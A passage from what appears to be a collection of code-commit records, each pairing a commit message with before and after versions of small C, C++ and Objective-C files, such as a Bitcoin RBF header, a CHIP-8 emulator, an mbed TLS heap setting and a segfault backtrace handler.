if (DEFAULT_BOOTFILE_PATH != NULL) {
bfpath = DEFAULT_BOOTFILE_PATH;
} else {
char buf[PATH_MAX];
char *last_slash;
realpath(argv[0], buf);
last_slash = strrchr(buf, '/') + 1;
strlcpy(last_slash, "shen.boot", last_slash - buf);
bfpath = buf;
}
}
if (access(bfpath, F_OK) == -1) {
fprintf(stderr, "ERROR: boot file '%s' doesn't exist or is not readable.\n",
bfpath);
exit(1);
}
Sscheme_init(NULL);
Sregister_boot_file(bfpath);
Sbuild_heap(NULL, custom_init);
status = Sscheme_start(argc + 1, (const char**)argv - 1);
Sscheme_deinit();
exit(status);
}
|
Change FreesoundExtractor version to 0.5 | #ifndef EXTRACTOR_VERSION_H_
#define EXTRACTOR_VERSION_H_
#define FREESOUND_EXTRACTOR_VERSION "freesound 2.0"
#endif /* EXTRACTOR_VERSION_H_ */
| #ifndef EXTRACTOR_VERSION_H_
#define EXTRACTOR_VERSION_H_
#define FREESOUND_EXTRACTOR_VERSION "freesound 0.5"
#endif /* EXTRACTOR_VERSION_H_ */
|
Add warning when a subclass doesn’t call super on pushViewController:animated: | // Created by Arkadiusz on 01-04-14.
#import <UIKit/UIKit.h>
/// A UINavigationController subclass allowing the interactive pop gesture when the navigation bar is hidden or a custom back button is used.
@interface AHKNavigationController : UINavigationController
@end
| // Created by Arkadiusz on 01-04-14.
#import <UIKit/UIKit.h>
/// A UINavigationController subclass allowing the interactive pop gesture when the navigation bar is hidden or a custom back button is used.
@interface AHKNavigationController : UINavigationController
- (void)pushViewController:(UIViewController *)viewController
animated:(BOOL)animated __attribute__((objc_requires_super));
@end
|
Fix double precision function return type | _CLC_DEF _CLC_OVERLOAD float __clc_ldexp(float, int);
#ifdef cl_khr_fp64
#pragma OPENCL EXTENSION cl_khr_fp64 : enable
_CLC_DEF _CLC_OVERLOAD float __clc_ldexp(double, int);
#endif
| _CLC_DEF _CLC_OVERLOAD float __clc_ldexp(float, int);
#ifdef cl_khr_fp64
#pragma OPENCL EXTENSION cl_khr_fp64 : enable
_CLC_DEF _CLC_OVERLOAD double __clc_ldexp(double, int);
#endif
|
Use inline as a workaround so that the utf8 functions are not exported | #include <cstdint>
#include <cstring>
#include <string>
#include <vector>
#include "../utf8/utf8.h"
/*
* Convert UTF-8 string to std::vector<uint32_t>
*/
void utf8to32(const std::string &s, std::vector<uint32_t> &vec) {
vec.assign(utf8::distance(s.cbegin(), s.cend()), 0);
utf8::utf8to32(s.cbegin(), s.cend(), vec.data());
}
/*
* Convert UTF-8 C-string to std::vector<uint32_t>
*/
void utf8to32(char* const s, std::vector<uint32_t> &vec) {
const size_t len(strlen(s));
vec.assign(utf8::distance(s, s+len), 0);
utf8::utf8to32(s, s+len, vec.data());
}
| #include <cstdint>
#include <cstring>
#include <string>
#include <vector>
#include "../utf8/utf8.h"
/*
* Convert UTF-8 string to std::vector<uint32_t>
*/
void inline utf8to32(const std::string &s, std::vector<uint32_t> &vec) {
vec.assign(utf8::distance(s.cbegin(), s.cend()), 0);
utf8::utf8to32(s.cbegin(), s.cend(), vec.data());
}
/*
* Convert UTF-8 C-string to std::vector<uint32_t>
*/
void inline utf8to32(char* const s, std::vector<uint32_t> &vec) {
const size_t len(strlen(s));
vec.assign(utf8::distance(s, s+len), 0);
utf8::utf8to32(s, s+len, vec.data());
}
|
Add doxygen comment to IsRBFOptIn | // Copyright (c) 2016-2019 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef BITCOIN_POLICY_RBF_H
#define BITCOIN_POLICY_RBF_H
#include <txmempool.h>
enum class RBFTransactionState {
UNKNOWN,
REPLACEABLE_BIP125,
FINAL
};
// Determine whether an in-mempool transaction is signaling opt-in to RBF
// according to BIP 125
// This involves checking sequence numbers of the transaction, as well
// as the sequence numbers of all in-mempool ancestors.
RBFTransactionState IsRBFOptIn(const CTransaction& tx, const CTxMemPool& pool) EXCLUSIVE_LOCKS_REQUIRED(pool.cs);
RBFTransactionState IsRBFOptInEmptyMempool(const CTransaction& tx);
#endif // BITCOIN_POLICY_RBF_H
| // Copyright (c) 2016-2019 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef BITCOIN_POLICY_RBF_H
#define BITCOIN_POLICY_RBF_H
#include <txmempool.h>
/** The rbf state of unconfirmed transactions */
enum class RBFTransactionState {
/** Unconfirmed tx that does not signal rbf and is not in the mempool */
UNKNOWN,
/** Either this tx or a mempool ancestor signals rbf */
REPLACEABLE_BIP125,
/** Neither this tx nor a mempool ancestor signals rbf */
FINAL,
};
/**
* Determine whether an unconfirmed transaction is signaling opt-in to RBF
* according to BIP 125
* This involves checking sequence numbers of the transaction, as well
* as the sequence numbers of all in-mempool ancestors.
*
* @param tx The unconfirmed transaction
* @param pool The mempool, which may contain the tx
*
* @return The rbf state
*/
RBFTransactionState IsRBFOptIn(const CTransaction& tx, const CTxMemPool& pool) EXCLUSIVE_LOCKS_REQUIRED(pool.cs);
RBFTransactionState IsRBFOptInEmptyMempool(const CTransaction& tx);
#endif // BITCOIN_POLICY_RBF_H
|
Add Reachability to toolkit header. | //
// Toolkit header to include the main headers of the 'AFToolkit' library.
//
#import "AFDefines.h"
#import "AFLogHelper.h"
#import "AFFileHelper.h"
#import "AFPlatformHelper.h"
#import "AFKVO.h"
#import "AFArray.h"
#import "AFMutableArray.h"
#import "NSBundle+Universal.h"
#import "UITableViewCell+Universal.h"
#import "AFDBClient.h"
#import "AFView.h"
#import "AFViewController.h" | //
// Toolkit header to include the main headers of the 'AFToolkit' library.
//
#import "AFDefines.h"
#import "AFLogHelper.h"
#import "AFFileHelper.h"
#import "AFPlatformHelper.h"
#import "AFReachability.h"
#import "AFKVO.h"
#import "AFArray.h"
#import "AFMutableArray.h"
#import "NSBundle+Universal.h"
#import "UITableViewCell+Universal.h"
#import "AFDBClient.h"
#import "AFView.h"
#import "AFViewController.h" |
Add export attribute to header declaration. | //===--- RuntimeStubs.h -----------------------------------------*- C++ -*-===//
//
// This source file is part of the Swift.org open source project
//
// Copyright (c) 2014 - 2016 Apple Inc. and the Swift project authors
// Licensed under Apache License v2.0 with Runtime Library Exception
//
// See http://swift.org/LICENSE.txt for license information
// See http://swift.org/CONTRIBUTORS.txt for the list of Swift project authors
//
//===----------------------------------------------------------------------===//
//
// Misc stubs for functions which should be defined in the core standard
// library, but are difficult or impossible to write in Swift at the
// moment.
//
//===----------------------------------------------------------------------===//
#ifndef SWIFT_STDLIB_SHIMS_RUNTIMESTUBS_H_
#define SWIFT_STDLIB_SHIMS_RUNTIMESTUBS_H_
#include "LibcShims.h"
#ifdef __cplusplus
namespace swift { extern "C" {
#endif
SWIFT_BEGIN_NULLABILITY_ANNOTATIONS
__swift_ssize_t
swift_stdlib_readLine_stdin(char * _Nullable * _Nonnull LinePtr);
SWIFT_END_NULLABILITY_ANNOTATIONS
#ifdef __cplusplus
}} // extern "C", namespace swift
#endif
#endif // SWIFT_STDLIB_SHIMS_RUNTIMESTUBS_H_
| //===--- RuntimeStubs.h -----------------------------------------*- C++ -*-===//
//
// This source file is part of the Swift.org open source project
//
// Copyright (c) 2014 - 2016 Apple Inc. and the Swift project authors
// Licensed under Apache License v2.0 with Runtime Library Exception
//
// See http://swift.org/LICENSE.txt for license information
// See http://swift.org/CONTRIBUTORS.txt for the list of Swift project authors
//
//===----------------------------------------------------------------------===//
//
// Misc stubs for functions which should be defined in the core standard
// library, but are difficult or impossible to write in Swift at the
// moment.
//
//===----------------------------------------------------------------------===//
#ifndef SWIFT_STDLIB_SHIMS_RUNTIMESTUBS_H_
#define SWIFT_STDLIB_SHIMS_RUNTIMESTUBS_H_
#include "LibcShims.h"
#ifdef __cplusplus
namespace swift { extern "C" {
#endif
SWIFT_BEGIN_NULLABILITY_ANNOTATIONS
SWIFT_RUNTIME_STDLIB_INTERFACE
__swift_ssize_t
swift_stdlib_readLine_stdin(char * _Nullable * _Nonnull LinePtr);
SWIFT_END_NULLABILITY_ANNOTATIONS
#ifdef __cplusplus
}} // extern "C", namespace swift
#endif
#endif // SWIFT_STDLIB_SHIMS_RUNTIMESTUBS_H_
|
Add test program for easier grabber's tests | /* Media Server - a library and daemon for medias indexation and streaming
*
* Copyright (C) 2012 Enna Team. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
* FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
* OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifdef HAVE_CONFIG_H
# include <config.h>
#endif
#include "ems_private.h"
static void
_end_grab_cb(void *data __UNUSED__, const char *filename __UNUSED__)
{
DBG("End Grab");
ecore_main_loop_quit();
}
/*============================================================================*
* Global *
*============================================================================*/
int main(int argc __UNUSED__, char **argv)
{
Eina_Module *m;
char tmp[PATH_MAX];
void (*grab)(const char *filename, Ems_Media_Type type,
void (*Ems_Grabber_End_Cb)(void *data, const char *filename),
void *data
);
ems_init(NULL);
eina_init();
ecore_init();
ecore_con_init();
ecore_con_url_init();
DBG("%s init", argv[0]);
if (!argv[1])
{
printf("USAGE : %s grabber_name", argv[0]);
exit(0);
}
DBG("Try to load %s", argv[1]);
DBG("Searh for modules in %s with arch %s", PACKAGE_LIB_DIR "/ems/grabbers", MODULE_ARCH);
snprintf(tmp, sizeof(tmp), PACKAGE_LIB_DIR"/ems/grabbers/%s/%s/module.so", argv[1], MODULE_ARCH);
DBG("Complete path module %s", tmp);
m = eina_module_new(tmp);
eina_module_load(m);
grab = eina_module_symbol_get(m, "ems_grabber_grab");
if (grab)
{
DBG("Grab file");
grab(argv[2],
1,
_end_grab_cb, NULL);
}
ecore_main_loop_begin();
eina_module_free(m);
ems_shutdown();
return EXIT_SUCCESS;
} | |
Define the functions on one line | #include <stdlib.h>
#include "chip8.h"
chip8_t *
chip8_new(void) {
chip8_t * self = (chip8_t *) malloc(sizeof(chip8_t));
/* The first 512 bytes are used by the interpreter. */
self->program_counter = 0x200;
self->index_register = 0;
self->stack_pointer = 0;
self->opcode = 0;
return self;
}
void
chip8_free(chip8_t * self) {
free(self);
}
| #include <stdlib.h>
#include "chip8.h"
chip8_t * chip8_new(void) {
chip8_t * self = (chip8_t *) malloc(sizeof(chip8_t));
/* The first 512 bytes are used by the interpreter. */
self->program_counter = 0x200;
self->index_register = 0;
self->stack_pointer = 0;
self->opcode = 0;
return self;
}
void chip8_free(chip8_t * self) {
free(self);
}
|
Fix build error on Android | #ifndef StringUtils_h
#define StringUtils_h
#include <stdio.h>
#include <string.h>
namespace CCMessageWindow {
class Utils {
public:
static std::string substringUTF8(const char* str, int from, int length);
static std::vector<std::string> split(const std::string& input, char delimiter);
static std::string replace(std::string base, std::string src, std::string dst);
};
}
#endif /* StringUtils_hpp */
| #ifndef StringUtils_h
#define StringUtils_h
#include "cocos2d.h"
namespace CCMessageWindow {
class Utils {
public:
static std::string substringUTF8(const char* str, int from, int length);
static std::vector<std::string> split(const std::string& input, char delimiter);
static std::string replace(std::string base, std::string src, std::string dst);
};
}
#endif /* StringUtils_hpp */
|
Use NS_ENUM instead of enum makes more clear | #import <Foundation/Foundation.h>
#import <UIKit/UIKit.h>
typedef enum {
UILabelCountingMethodEaseInOut,
UILabelCountingMethodEaseIn,
UILabelCountingMethodEaseOut,
UILabelCountingMethodLinear
} UILabelCountingMethod;
typedef NSString* (^UICountingLabelFormatBlock)(float value);
typedef NSAttributedString* (^UICountingLabelAttributedFormatBlock)(float value);
@interface UICountingLabel : UILabel
@property (nonatomic, strong) NSString *format;
@property (nonatomic, assign) UILabelCountingMethod method;
@property (nonatomic, assign) NSTimeInterval animationDuration;
@property (nonatomic, copy) UICountingLabelFormatBlock formatBlock;
@property (nonatomic, copy) UICountingLabelAttributedFormatBlock attributedFormatBlock;
@property (nonatomic, copy) void (^completionBlock)();
-(void)countFrom:(float)startValue to:(float)endValue;
-(void)countFrom:(float)startValue to:(float)endValue withDuration:(NSTimeInterval)duration;
-(void)countFromCurrentValueTo:(float)endValue;
-(void)countFromCurrentValueTo:(float)endValue withDuration:(NSTimeInterval)duration;
-(void)countFromZeroTo:(float)endValue;
-(void)countFromZeroTo:(float)endValue withDuration:(NSTimeInterval)duration;
- (CGFloat)currentValue;
@end
| #import <Foundation/Foundation.h>
#import <UIKit/UIKit.h>
typedef NS_ENUM(NSInteger, UILabelCountingMethod) {
UILabelCountingMethodEaseInOut,
UILabelCountingMethodEaseIn,
UILabelCountingMethodEaseOut,
UILabelCountingMethodLinear
};
typedef NSString* (^UICountingLabelFormatBlock)(float value);
typedef NSAttributedString* (^UICountingLabelAttributedFormatBlock)(float value);
@interface UICountingLabel : UILabel
@property (nonatomic, strong) NSString *format;
@property (nonatomic, assign) UILabelCountingMethod method;
@property (nonatomic, assign) NSTimeInterval animationDuration;
@property (nonatomic, copy) UICountingLabelFormatBlock formatBlock;
@property (nonatomic, copy) UICountingLabelAttributedFormatBlock attributedFormatBlock;
@property (nonatomic, copy) void (^completionBlock)();
-(void)countFrom:(float)startValue to:(float)endValue;
-(void)countFrom:(float)startValue to:(float)endValue withDuration:(NSTimeInterval)duration;
-(void)countFromCurrentValueTo:(float)endValue;
-(void)countFromCurrentValueTo:(float)endValue withDuration:(NSTimeInterval)duration;
-(void)countFromZeroTo:(float)endValue;
-(void)countFromZeroTo:(float)endValue withDuration:(NSTimeInterval)duration;
- (CGFloat)currentValue;
@end
|
Add surface server side implementation for tests | /* * This file is part of meego-im-framework *
*
* Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
* All rights reserved.
* Contact: Nokia Corporation (directui@nokia.com)
*
* If you have questions regarding the use of this file, please contact
* Nokia at directui@nokia.com.
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License version 2.1 as published by the Free Software Foundation
* and appearing in the file LICENSE.LGPL included in the packaging
* of this file.
*/
#ifndef CORE_UTILS_H__
#define CORE_UTILS_H__
#include <QString>
#include <QObject>
namespace MaliitTestUtils {
bool isTestingInSandbox();
QString getTestPluginPath();
QString getTestDataPath();
void waitForSignal(const QObject* object, const char* signal, int timeout);
void waitAndProcessEvents(int waitTime);
}
#endif // CORE_UTILS_H__
| /* * This file is part of meego-im-framework *
*
* Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
* All rights reserved.
* Contact: Nokia Corporation (directui@nokia.com)
*
* If you have questions regarding the use of this file, please contact
* Nokia at directui@nokia.com.
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License version 2.1 as published by the Free Software Foundation
* and appearing in the file LICENSE.LGPL included in the packaging
* of this file.
*/
#ifndef CORE_UTILS_H__
#define CORE_UTILS_H__
#include <QString>
#include <QObject>
#include "abstractsurfacegroup.h"
#include "abstractsurfacegroupfactory.h"
namespace MaliitTestUtils {
bool isTestingInSandbox();
QString getTestPluginPath();
QString getTestDataPath();
void waitForSignal(const QObject* object, const char* signal, int timeout);
void waitAndProcessEvents(int waitTime);
class TestSurfaceGroup : public Maliit::Server::AbstractSurfaceGroup {
public:
TestSurfaceGroup() {}
Maliit::Plugins::AbstractSurfaceFactory *factory() { return 0; }
void activate() {}
void deactivate() {}
void setRotation(Maliit::OrientationAngle) {}
};
class TestSurfaceGroupFactory : public Maliit::Server::AbstractSurfaceGroupFactory {
public:
TestSurfaceGroupFactory() {}
QSharedPointer<Maliit::Server::AbstractSurfaceGroup> createSurfaceGroup()
{
return QSharedPointer<Maliit::Server::AbstractSurfaceGroup>(new TestSurfaceGroup);
}
};
}
#endif // CORE_UTILS_H__
|
Add global exception functions to CONFIG | /**
* nlp_exception.h
* Copyright (C) 2015 Tony Lim <atomictheorist@gmail.com>
*
* Distributed under terms of the MIT license.
*/
#ifndef NLP_EXCEPTION_H
#define NLP_EXCEPTION_H
#include <exception>
using namespace std;
namespace NLP
{
class unimplemented_exc: public exception
{
virtual const char* what() const throw()
{
return "Unimplemented error.";
}
};
} /* NLP */
#endif /* !NLP_EXCEPTION_H */
| |
Change the Content class to the Element class | /*
* Copyright © 2017 AperLambda <aper.entertainment@gmail.com>
*
* This file is part of λcommon.
*
* Licensed under the MIT license. For more information,
* see the LICENSE file.
*/
#ifndef LAMBDACOMMON_DOCUMENT_H
#define LAMBDACOMMON_DOCUMENT_H
#include "../lambdacommon.h"
#include <map>
namespace lambdacommon
{
class LAMBDACOMMON_API Content
{};
class LAMBDACOMMON_API Document
{};
}
#endif //LAMBDACOMMON_DOCUMENT_H | /*
* Copyright © 2017 AperLambda <aper.entertainment@gmail.com>
*
* This file is part of λcommon.
*
* Licensed under the MIT license. For more information,
* see the LICENSE file.
*/
#ifndef LAMBDACOMMON_DOCUMENT_H
#define LAMBDACOMMON_DOCUMENT_H
#include "../lambdacommon.h"
#include <map>
namespace lambdacommon
{
class LAMBDACOMMON_API Element
{};
class LAMBDACOMMON_API Document
{};
}
#endif //LAMBDACOMMON_DOCUMENT_H |
Add example for working threads and events | /**
* @file
*
* @brief
*
* @date 15.01.2013
* @author Lapshin Alexander
*/
#include <stdio.h>
#include <errno.h>
#include <framework/example/self.h>
#include <kernel/thread/api.h>
#include <kernel/thread/event.h>
#include <util/macro.h>
/**
* This macro is used to register this example at the system.
*/
EMBOX_EXAMPLE(run);
/** The thread handler function*/
static void *thread_run(void *arg) {
struct event *event = (struct event *)arg;
/**waiting until event receives */
printf("waiting for event's notifying...\n");
event_wait(event, SCHED_TIMEOUT_INFINITE);
printf("event has been received.\n");
return 0;
}
static int run(int argc, char **argv) {
struct event sync_event;
struct thread *thread;
event_init(&sync_event, "sync_event");
thread_create(&thread, 0, thread_run, &sync_event);
/**need some delay here
* because thread should have time to sleep
* within "event_wait" till invoking
* "event_notify" function.
*/
sleep(1);
event_notify(&sync_event);
thread_join(thread, NULL);
return ENOERR;
}
| |
Hide VDP1 even if FB hasn't been erased and changed | /*
* Copyright (c) 2012-2016 Israel Jacquez
* See LICENSE for details.
*
* Israel Jacquez <mrkotfw@gmail.com>
*/
#include <stdlib.h>
#include <vdp1.h>
#include <vdp2.h>
#include <vdp2/tvmd.h>
#include <vdp2/vram.h>
#include <cons.h>
void __noreturn
internal_exception_show(const char *buffer)
{
/* Reset the VDP1 */
vdp1_init();
/* Reset the VDP2 */
vdp2_init();
vdp2_tvmd_display_res_set(TVMD_INTERLACE_NONE, TVMD_HORZ_NORMAL_A,
TVMD_VERT_224);
vdp2_scrn_back_screen_color_set(VRAM_ADDR_4MBIT(0, 0x01FFFE),
COLOR_RGB555(0, 7, 0));
vdp2_tvmd_display_set();
cons_init(CONS_DRIVER_VDP2, 40, 28);
cons_buffer(buffer);
vdp2_tvmd_vblank_out_wait();
vdp2_tvmd_vblank_in_wait();
vdp2_commit();
cons_flush();
abort();
}
| /*
* Copyright (c) 2012-2016 Israel Jacquez
* See LICENSE for details.
*
* Israel Jacquez <mrkotfw@gmail.com>
*/
#include <stdlib.h>
#include <vdp1.h>
#include <vdp2.h>
#include <vdp2/tvmd.h>
#include <vdp2/vram.h>
#include <cons.h>
void __noreturn
internal_exception_show(const char *buffer)
{
/* Reset the VDP1 */
vdp1_init();
/* Reset the VDP2 */
vdp2_init();
vdp2_tvmd_display_res_set(TVMD_INTERLACE_NONE, TVMD_HORZ_NORMAL_A,
TVMD_VERT_224);
vdp2_scrn_back_screen_color_set(VRAM_ADDR_4MBIT(0, 0x01FFFE),
COLOR_RGB555(0, 7, 0));
/* Set sprite to type 0 and set its priority to 0 (invisible) */
vdp2_sprite_type_set(0);
vdp2_sprite_priority_set(0, 0);
vdp2_tvmd_display_set();
cons_init(CONS_DRIVER_VDP2, 40, 28);
cons_buffer(buffer);
vdp2_tvmd_vblank_out_wait();
vdp2_tvmd_vblank_in_wait();
vdp2_commit();
cons_flush();
abort();
}
|
Check in an old testcase | /* Provide Declarations */
#ifndef NULL
#define NULL 0
#endif
#ifndef __cplusplus
typedef unsigned char bool;
#endif
/* Support for floating point constants */
typedef unsigned long long ConstantDoubleTy;
typedef unsigned int ConstantFloatTy;
/* Global Declarations */
/* External Global Variable Declarations */
/* Function Declarations */
void __main();
int printf(signed char *, ...);
void testfunc(short l5_s, float l11_X, signed char l3_C, signed long long l9_LL, int l7_I, double l12_D);
void main();
/* Malloc to make sun happy */
extern void * malloc(size_t);
/* Global Variable Declerations */
extern signed char l27_d_LC0[26];
/* Global Variable Definitions and Initialization */
static signed char l27_d_LC0[26] = "%d, %f, %d, %lld, %d, %f\n";
/* Function Bodies */
void testfunc(short l5_s, float l11_X, signed char l3_C, signed long long l9_LL, int l7_I, double l12_D) {
int l7_reg226;
l7_reg226 = printf((&(l27_d_LC0[0ll])), ((unsigned )l5_s), ((double )l11_X), ((unsigned )l3_C), l9_LL, l7_I, l12_D);
return;
}
void main() {
const ConstantFloatTy FloatConstant0 = 0x3f9f5c29; /* 1.245 */
const ConstantDoubleTy FloatConstant1 = 0x432ff973cafa8000; /* 4.5e+15 */
__main();
testfunc(12, (*(float*)&FloatConstant0), 120, 123456677890ll, -10, (*(double*)&FloatConstant1));
return;
}
| |
Test "list" embeding to arbitary struct It is not confortable for me to use too much "address of". | #include <stdio.h>
#include <stdlib.h>
#include "list.h"
struct list {
int ctx;
struct list_head loc;
};
int main(int argc, char *argv[])
{
struct list l[3];
for(int i = 0; i < 3; i++)
{
l[i].ctx = i * 10;
//l[i].loc = (struct list_head *) malloc(sizeof(struct list_head));
}
LIST_HEAD(start);
//INIT_LIST_HEAD(l[0].loc);
//INIT_LIST_HEAD(l[1].loc);
//INIT_LIST_HEAD(l[2].loc);
//struct list_head *start = l[0].loc;
//list_add(start, l[1].loc);
//list_add(start, l[2].loc);
list_add_tail(&l[0].loc, &start);
list_add_tail(&l[1].loc, &start);
list_add_tail(&l[2].loc, &start);
//struct list_head *tmp = start;
struct list_head *tmp;
list_for_each(tmp, &start)
{
printf("%d\n", list_entry(tmp, struct list, loc)->ctx);
}
}
| |
Define optimized mbed TLS heap size | /*
* Copyright (c) 2015-2017, ARM Limited and Contributors. All rights reserved.
*
* SPDX-License-Identifier: BSD-3-Clause
*/
#include <debug.h>
/* mbed TLS headers */
#include <mbedtls/memory_buffer_alloc.h>
#include <mbedtls/platform.h>
/*
* mbed TLS heap
*/
#if (TF_MBEDTLS_KEY_ALG_ID == TF_MBEDTLS_ECDSA)
#define MBEDTLS_HEAP_SIZE (14*1024)
#elif (TF_MBEDTLS_KEY_ALG_ID == TF_MBEDTLS_RSA)
#define MBEDTLS_HEAP_SIZE (8*1024)
#endif
static unsigned char heap[MBEDTLS_HEAP_SIZE];
/*
* mbed TLS initialization function
*/
void mbedtls_init(void)
{
static int ready;
if (!ready) {
/* Initialize the mbed TLS heap */
mbedtls_memory_buffer_alloc_init(heap, MBEDTLS_HEAP_SIZE);
/* Use reduced version of snprintf to save space. */
mbedtls_platform_set_snprintf(tf_snprintf);
ready = 1;
}
}
| /*
* Copyright (c) 2015-2017, ARM Limited and Contributors. All rights reserved.
*
* SPDX-License-Identifier: BSD-3-Clause
*/
#include <debug.h>
/* mbed TLS headers */
#include <mbedtls/memory_buffer_alloc.h>
#include <mbedtls/platform.h>
/*
* mbed TLS heap
*/
#if (TF_MBEDTLS_KEY_ALG_ID == TF_MBEDTLS_ECDSA)
#define MBEDTLS_HEAP_SIZE (14*1024)
#elif (TF_MBEDTLS_KEY_ALG_ID == TF_MBEDTLS_RSA)
#define MBEDTLS_HEAP_SIZE (6*1024)
#endif
static unsigned char heap[MBEDTLS_HEAP_SIZE];
/*
* mbed TLS initialization function
*/
void mbedtls_init(void)
{
static int ready;
if (!ready) {
/* Initialize the mbed TLS heap */
mbedtls_memory_buffer_alloc_init(heap, MBEDTLS_HEAP_SIZE);
/* Use reduced version of snprintf to save space. */
mbedtls_platform_set_snprintf(tf_snprintf);
ready = 1;
}
}
|
Fix compile error with VC++2013 preview | #ifndef LZ4MT_COMPAT_H
#define LZ4MT_COMPAT_H
namespace Lz4Mt {
unsigned getHardwareConcurrency();
struct launch {
#if defined(_MSC_VER)
typedef std::launch::launch Type;
#else
typedef std::launch Type;
#endif
static const Type deferred;
static const Type async;
};
}
#endif
| #ifndef LZ4MT_COMPAT_H
#define LZ4MT_COMPAT_H
namespace Lz4Mt {
unsigned getHardwareConcurrency();
struct launch {
#if defined(_MSC_VER) && (_MSC_VER <= 1700)
typedef std::launch::launch Type;
#else
typedef std::launch Type;
#endif
static const Type deferred;
static const Type async;
};
}
#endif
|
Add an OS mutex to Halide runtime. | #ifndef HALIDE_RUNTIME_MUTEX_H
#define HALIDE_RUNTIME_MUTEX_H
#include "HalideRuntime.h"
// Avoid ODR violations
namespace {
// An RAII mutex
struct ScopedMutexLock {
halide_mutex *mutex;
ScopedMutexLock(halide_mutex *mutex) : mutex(mutex) {
halide_mutex_lock(mutex);
}
~ScopedMutexLock() {
halide_mutex_unlock(mutex);
}
};
}
#endif
| |
Use Foundation instead of UIKit | //
// OctoKit.h
// OctoKit
//
// Created by Piet Brauer on 25/08/15.
// Copyright (c) 2015 nerdish by nature. All rights reserved.
//
#import <UIKit/UIKit.h>
//! Project version number for OctoKit.
FOUNDATION_EXPORT double OctoKitVersionNumber;
//! Project version string for OctoKit.
FOUNDATION_EXPORT const unsigned char OctoKitVersionString[];
// In this header, you should import all the public headers of your framework using statements like #import <OctoKit/PublicHeader.h>
| //
// OctoKit.h
// OctoKit
//
// Created by Piet Brauer on 25/08/15.
// Copyright (c) 2015 nerdish by nature. All rights reserved.
//
#import <Foundation/Foundation.h>
//! Project version number for OctoKit.
FOUNDATION_EXPORT double OctoKitVersionNumber;
//! Project version string for OctoKit.
FOUNDATION_EXPORT const unsigned char OctoKitVersionString[];
// In this header, you should import all the public headers of your framework using statements like #import <OctoKit/PublicHeader.h>
|
Include exceptions in main header | #ifndef APIMOCK_H
#define APIMOCK_H
#include "core/server.h"
#endif | #ifndef APIMOCK_H
#define APIMOCK_H
#include "core/server.h"
#include "core/exceptions.h"
#endif |
Add note to help FreeBSD users. | /*
* vim:ts=8:sw=3:sts=8:noexpandtab:cino=>5n-3f0^-2{2
*/
#include "e.h"
#include <execinfo.h>
/* a tricky little devil, requires e and it's libs to be built
* with the -rdynamic flag to GCC for any sort of decent output.
*/
void e_sigseg_act(int x, siginfo_t *info, void *data){
void *array[255];
size_t size;
write(2, "**** SEGMENTATION FAULT ****\n", 29);
write(2, "**** Printing Backtrace... *****\n\n", 34);
size = backtrace(array, 255);
backtrace_symbols_fd(array, size, 2);
exit(-11);
}
| /*
* vim:ts=8:sw=3:sts=8:noexpandtab:cino=>5n-3f0^-2{2
* NOTE TO FreeBSD users. Install libexecinfo from
* ports/devel/libexecinfo and add -lexecinfo to LDFLAGS
* to add backtrace support.
*/
#include "e.h"
#include <execinfo.h>
/* a tricky little devil, requires e and it's libs to be built
* with the -rdynamic flag to GCC for any sort of decent output.
*/
void e_sigseg_act(int x, siginfo_t *info, void *data){
void *array[255];
size_t size;
write(2, "**** SEGMENTATION FAULT ****\n", 29);
write(2, "**** Printing Backtrace... *****\n\n", 34);
size = backtrace(array, 255);
backtrace_symbols_fd(array, size, 2);
exit(-11);
}
|
Extend assert in getFDDesc to print invalid fd. | //===-- ipcreg_internal.h -------------------------------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Internal types and data for IPC registration logic
//
//===----------------------------------------------------------------------===//
#ifndef _IPCREG_INTERNAL_H_
#define _IPCREG_INTERNAL_H_
#include "ipcd.h"
#include <assert.h>
typedef enum {
STATE_UNOPT = 0,
STATE_ID_EXCHANGE,
STATE_OPTIMIZED,
STATE_LOCALFD
} EndpointState;
typedef struct {
size_t bytes_trans;
int localfd;
endpoint ep;
EndpointState state;
bool valid;
} ipc_info;
// For now, just index directly into pre-allocate table with fd.
// We will also need a way to go from nonce to fd!
const unsigned TABLE_SIZE = 1 << 10;
extern ipc_info IpcDescTable[TABLE_SIZE];
static inline char inbounds_fd(int fd) { return (unsigned)fd <= TABLE_SIZE; }
static inline ipc_info *getFDDesc(int fd) {
assert(inbounds_fd(fd));
return &IpcDescTable[fd];
}
#endif // _IPCREG_INTERNAL_H_
| //===-- ipcreg_internal.h -------------------------------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Internal types and data for IPC registration logic
//
//===----------------------------------------------------------------------===//
#ifndef _IPCREG_INTERNAL_H_
